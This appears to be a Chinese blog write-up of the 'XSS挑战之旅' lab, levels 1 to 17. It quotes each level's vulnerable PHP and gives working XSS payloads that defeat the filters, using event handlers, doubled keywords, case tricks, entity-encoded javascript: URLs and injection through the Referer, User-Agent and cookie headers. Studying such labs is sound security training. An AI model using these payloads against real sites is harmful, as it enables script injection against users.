XSS挑战之旅

  • 第一关

无任何限制

  • 第二关

<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="<script>alert(1)</script>">
<input type=submit name=submit value="'搜索'"/>

标签

中的< >都被转变了

    $str = $_GET["keyword"];

    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>

    <form action=level2.php method=GET>

    <input name=keyword  value="'.$str.'">

    <input type=submit name=submit value=搜索 />

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体

https://www.cnblogs.com/JeromeZ/p/8452819.html)

这里的敏感字符< >,已经被html编码了,最后在

标签里面输出的时候浏览器再使用html解码将其原文显示出来,但是并不会再触发js引擎了,所以也就没有弹窗了,利用失败。

[浏览器各个部分编码过程](https://blog.csdn.net/osdfhv/article/details/82872314)

方法

  1. value中< >并没有被转换,我们可以通过闭合这个带有$str的input标签来达成目的
"><script>alert(1)</script>
  1. 通过事件 加 // 是为了注释掉后面的 "
123456" οnclick=alert(1)//
123456" οnfοcus=alert(1) autofocus;//		onfocus 事件在对象获得焦点时发生。
123456" οninput=alert(1) //			oninput 事件在用户输入时触发
123456" οnchange=alert(1) //
  • 第三关

    $str = $_GET["keyword"];
    $str2=str_replace(">","",$str);
    $str3=str_replace("<","",$str2);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form action=level3.php method=GET>
    <input name=keyword value="'.$str3.'">
    <input type=submit name=submit value=搜索 />
    

    发现过滤 > <

    ' οnfοcus=javascript:alert(1) 
    
    • 第四关

$str2=str_replace("<script","<scr_ipt",$str);
  echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".
  • 第五关

$str2=str_replace("<script","<scr_ipt",$str);
  $str3=str_replace("on","o_n",$str2);
  echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

过滤了on ,所以on事件不能用了

123456"><iframe src=javascript:alert(1)>
//只弹出了 1
"><a href=javascript:alert(1)>点我啊</a>
//sucess
  



  - 第六关

  
  ```php
  $str2=str_replace("<script","<scr_ipt",$str);
  $str3=str_replace("on","o_n",$str2);
  $str4=str_replace("src","sr_c",$str3);
  $str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
  echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
  1. 没有使用前面的转换小写函数strtolower,大小写绕过
" ><sCRipt>alert(1)</script>
  • 第七关

<input name=keyword  value="move%20up!<>alert(1);</>">

发现过滤了很多关键词

输入:<script><a href><img src><sscript><scscript>

变成:

<>			<a >        <img>       <s>			<sc>

双写绕过

"><scscriptriptscript>alert(1)</scscriptriptscript>

123456" oonninput=alert(1) "

123456"> <scscriptript>alert`1`</scscriptript> //

123456"><a/hrhrefef="javascriscriptpt:alert(1)">   

123456"><img/sRsrcc=1 oneronerrorror=alert(1)>  //找不到url,触发事件
  • 第八关

  $str7=str_replace('"','&quot',$str6);
  ……
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

输入,发现输入的内容在a标签的href内

过滤了:" src on script data

输出点在a标签内,href属性中,属性中双引号被转换成HTML实体,无法截断属性 :

<a href="&quot><scr_ipt>alert(1);</scr_ipt>//">友情链接</a>

协议绕过(没有成功)

javascript:alert, 由于script关键字被过滤,伪协议后面可以使用URL编码等进行编码。

javas%09cript:alert(1)
javas%0acript:alert(1)
javas%0dcript:alert(1)

输入的内容提交后到a标签的href属性里,故可以解析

javascrip&#x74;:alert(1)
javasc&#x72;ipt:alert`111`
javasc&#x0072;ipt:alert`111`
  • 第九关

    输入javascript:alert(1)查看源码显示“链接不合法”

    输入的代码中必须含有http://才不会被提示“链接不合法”。

    http://127.0.0.1/xss/level9.php?keyword=javas%0acript:alert(1) <!--  http://  -->
    http://127.0.0.1/xss/level9.php?keyword=javas%0acript:alert(1) // http://  
    
    
    • 第十关

    没有输入框,所以查看源码。有三个隐藏的输入框。

    <h2 align=center>没有找到和&lt;script&gt;alert(1);&lt;/script&gt;相关的结果.</h2><center>
    <form id=search>
    <input name="t_link"  value="" type="hidden">
    <input name="t_history"  value="" type="hidden">
    <input name="t_sort" value="'.$str33.'" type="hidden">
    </form>
    

    虽然前端的t_sort输入框是隐藏的但是后端依旧能接收数据,通过构造闭合input标签,改变type隐藏属性。

    
    <input name="t_sort"  value="" type="button" onclick="alert(1)" >
    
    注入&t_sort=1” type="text"οnmοuseοver=alert(111)//
    
    
    • 第十一关

    无输入框,查看源码:

    <form id=search>
    <input name="t_link"  value="" type="hidden">
    <input name="t_history"  value="" type="hidden">
    <input name="t_sort"  value="" type="hidden">
    <input name="t_ref"  value="http://120.27.209.154:8091/level10.php?keyword=well%20done!" type="hidden">
    </form>
    

html头部注入

突破口在t_ref,我们要修改referre值

可以通过抓包修改

1" type="text" οnmοuseοver=alert(111)//

修改后点击run,鼠标移到1这个输入文本框即可成功。

我的显示找不到网页

  • 第十二关
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_ua"  value="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0" type="hidden">

这一关是修改user_agenr

方法类似,这里抓包

修改user_agent为1” type=”text” οnmοuseοver=alert(111)//

  • 第十三关
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_cook"  value="" type="hidden">

这一关是修改cookies,

方法类似 抓包

将cookies改为1” type=”text” οnmοuseοver=alert(111)//

  • 第十四关

<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>
  • 第十五关

上源码:

<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<body><span class="ng-include:"></span></body>

要先了解一下这个ng-include属性

ng-include是AngularJS的一种指令,用于包含外部的HTML文件,包含内容作于指定元素的子节点。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。我们就引用第一关的页面,其中包含img标签

这个我不是很会,主要是第一关的写完代码后那个页面会直接弹窗进入第二关。

  • 第十六关

<center><s%63ript>alert(1)<%2fs%63ript></center><center>

过滤了一些东西如script / 也过滤了空格

看网上的也没成,查看源码原封不动输出来了:

<a%0Ahref=jav%26%23x61%3b%26%23x73%3b%26%23x63%3bript:alert(1)>123
  • 第十七关

url:http://120.27.209.154:8091/level17.php?arg01=a&arg02=b

源码:

<body>
<h1 align=center>欢迎来到level17</h1>
<embed src=xsf01.swf?a=b width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

后台接收了arg01和arg02两个值。

先了解一下这个embed标签是啥,这个标签定义了嵌入的内容,如插件。

用法

<embed src="helloworld.swf" />

我们可以给这个标签注入一些事件,如οnlοad=alert(11)等

注入arg01=1 &arg02=2 οnclick=alert(11)然后点击那个插件就弹出窗口了。这关为什么要这样弄呢?首先是要接收两个参数,我们就传给他两个参数,然后我们在第二个参数后面附加了一个事件,当点击时就会执行。

我注入后没有显示插件,源码:

<body>
<h1 align=center>欢迎来到level17</h1>
<embed src=xsf01.swf?a=b οnclick=alert(11) width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

参考:

XSS挑战之旅 | 大专栏)

XSS挑战之旅学习总结 - SecPulse.COM | 安全脉搏 (很多源码不一致)

XSS挑战之旅(1~10) - 简书

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值